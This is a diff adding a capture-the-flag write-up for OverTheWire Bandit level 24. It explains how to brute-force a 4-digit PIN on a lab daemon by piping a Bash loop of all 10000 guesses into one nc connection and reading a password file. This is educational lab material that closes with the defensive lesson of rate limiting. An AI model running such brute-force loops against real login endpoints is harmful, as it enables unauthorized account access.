|
| 1 | +# OverTheWire: Bandit Lvl 24 (Linux): Bandit (2026) |
| 2 | + |
| 3 | +| Field | Value | |
| 4 | +|------------|-------| |
| 5 | +| Platform | OverTheWire | |
| 6 | +| Event | Bandit | |
| 7 | +| Date | 2026-12 | |
| 8 | +| Category | Linux | |
| 9 | +| Difficulty | Medium | |
| 10 | +| Points | N/A | |
| 11 | +| Solves | 0 | |
| 12 | +| Author | OverTheWire | |
| 13 | +| Solved by | leeadrian841 | |
| 14 | +| Status | Solved | |
| 15 | +| Tags | Linux, Networking, Brute Force, Bash Scripting | |
| 16 | + |
| 17 | +## TL;DR |
| 18 | +Online brute force against a tiny keyspace: a daemon wants the *bandit24* password plus a secret 4-digit PIN, and there are only 10000 PINs. A Bash loop generates every guess and streams them all into one `nc` connection, so the daemon replies with the *bandit25* password when it hits the right one. |
| 19 | + |
| 20 | +## Challenge |
| 21 | +> A daemon is listening on port 30002 and will give you the password for *bandit25* if given the password for *bandit24* and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing. |
| 22 | +> You do not need to create new connections each time |
| 23 | +
|
| 24 | +- Files: None for this level |
| 25 | +- Service: `bandit24@bandit.labs.overthewire.org:2220` (online) |
| 26 | + |
| 27 | +## First look |
| 28 | +The daemon on port 30002 is a **server** waiting for input. It expects one line: the *bandit24* password, a space, then a 4-digit PIN (`0000` to `9999`). I don't know the PIN, but there are only 10000 of them and the challenge says there's no lockout, so I can send every PIN and let the daemon find the right one. |
| 29 | + |
| 30 | +I am the **client** here, as in Levels 14 and 15: I connect with `nc` and send data. That was the thing to get straight before anything else (see Dead ends). |
| 31 | + |
| 32 | +```bash |
| 33 | +ssh bandit24@bandit.labs.overthewire.org -p 2220 |
| 34 | +Password: {Password for bandit24} |
| 35 | + |
| 36 | +# Get the exact bandit24 password to send; one wrong character fails all 10000 guesses |
| 37 | +bandit24@bandit:~$ cat /etc/bandit_pass/bandit24 |
| 38 | +{Password for bandit24} |
| 39 | +``` |
| 40 | + |
| 41 | +### Theory |
| 42 | +- **Daemon:** a program that runs in the background and waits for connections. On port 30002 it is the server; I connect to it as a client. |
| 43 | +- **Listen vs connect:** a server *listens* (`nc -l`, as in Level 20). A client *connects* (`nc host port`). The daemon already listens, so I only connect. |
| 44 | +- **Brute force:** trying every possible value until one works. It only works when the keyspace is small and nothing stops repeated guesses. |
| 45 | +- **`{0000..9999}`:** Bash brace expansion. It produces every 4-digit number, zero-padded, so `0000 0001 … 9999`: all 10000 PINs. |
| 46 | +- **One connection, many lines:** the challenge says I don't need a new connection per guess. Piping all 10000 lines into a single `nc` sends them down one TCP connection, which is far faster than reconnecting each time. |
| 47 | + |
| 48 | +## Dead ends |
| 49 | +- Trying to "listen" to the daemon with `nc -l`: nothing happened -> `nc -l` makes *me* a server waiting for someone to connect. The daemon is already the server; I had the roles backwards. I needed to *connect* to it as a client, as in Levels 14 and 15. The word "daemon" tricked me into reaching for the listening tool. |
| 50 | +- Thinking about typing PINs in by hand: not feasible -> 10000 guesses can't be entered manually. A loop has to generate them and a pipe has to stream them into one connection. |
| 51 | + |
| 52 | +## Solution |
| 53 | +### Step 1: Make a working folder and get the password |
| 54 | +I made a folder in `/tmp` for the output, and read the bandit24 password so I could paste it exactly into the loop. One wrong character and all 10000 lines fail. |
| 55 | + |
| 56 | +```bash |
| 57 | +bandit24@bandit:~$ mkdir -p /tmp/adrian24 |
| 58 | +bandit24@bandit:~$ cat /etc/bandit_pass/bandit24 |
| 59 | +{Password for bandit24} |
| 60 | +``` |
| 61 | + |
| 62 | +### Step 2: Brute-force every PIN through one connection |
| 63 | +The loop prints the password and one PIN per line, 10000 lines, and the pipe streams them all into a single connection to port 30002. I saved the output to a file because 10000 "Wrong" lines scroll past too fast to read. |
| 64 | + |
| 65 | +```bash |
| 66 | +bandit24@bandit:~$ for pin in {0000..9999}; do |
| 67 | + echo "{Password for bandit24} $pin" |
| 68 | +done | nc localhost 30002 > /tmp/adrian24/out.txt |
| 69 | +``` |
| 70 | + |
| 71 | +### Step 3: Filter out the "Wrong" lines |
| 72 | +Every miss replies `Wrong`. `grep -v "Wrong"` prints every line that is *not* "Wrong", which leaves the daemon's greeting and the one success line with the bandit25 password. |
| 73 | + |
| 74 | +```bash |
| 75 | +bandit24@bandit:~$ grep -v "Wrong" /tmp/adrian24/out.txt |
| 76 | +I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space. |
| 77 | +Correct! |
| 78 | +The password of user bandit25 is {Password for bandit25} |
| 79 | +``` |
| 80 | + |
| 81 | +### If the connection closes too early |
| 82 | +Some `nc` builds drop the socket before the daemon finishes replying, so the success line is missed and `grep` finds nothing. Adding a short `sleep` keeps the pipe open a few more seconds so the daemon can answer: |
| 83 | + |
| 84 | +```bash |
| 85 | +bandit24@bandit:~$ (for pin in {0000..9999}; do echo "{Password for bandit24} $pin"; done; sleep 5) | nc localhost 30002 > /tmp/adrian24/out.txt |
| 86 | +``` |
| 87 | + |
| 88 | +## Flag |
| 89 | +`Password for bandit25` |
| 90 | + |
| 91 | +## Lessons learned |
| 92 | +- Get the client/server roles straight: a daemon already listens, so you *connect* to it. `nc -l` is for when you are the server (Level 20). |
| 93 | +- A small keyspace with no limits falls to brute force. 10000 PINs with no lockout or delay is exhausted in a minute or two. |
| 94 | +- Generate guesses with a loop and send them down one connection, instead of reconnecting per guess, which the challenge explicitly allows. |
| 95 | +- Save noisy output to a file and filter with `grep -v`, instead of watching thousands of lines scroll by. |
| 96 | +- The real weakness is not the 4-digit PIN, it is the endpoint accepting 10000 guesses with no rate limiting or lockout (MITRE ATT&CK T1110, Brute Force). The fix is attempt limits and lockouts on the authentication endpoint. |
| 97 | + |
| 98 | +## References |
| 99 | +- [nc](https://man.archlinux.org/man/nc.1.en) |
| 100 | +- [Bash brace expansion](https://www.gnu.org/software/bash/manual/html_node/Brace-Expansion.html) |
| 101 | +- [grep](https://man7.org/linux/man-pages/man1/grep.1.html) |
| 102 | +- [Brute-force attack](https://en.wikipedia.org/wiki/Brute-force_attack) |
| 103 | +- [MITRE ATT&CK T1110: Brute Force](https://attack.mitre.org/techniques/T1110/) |
0 commit comments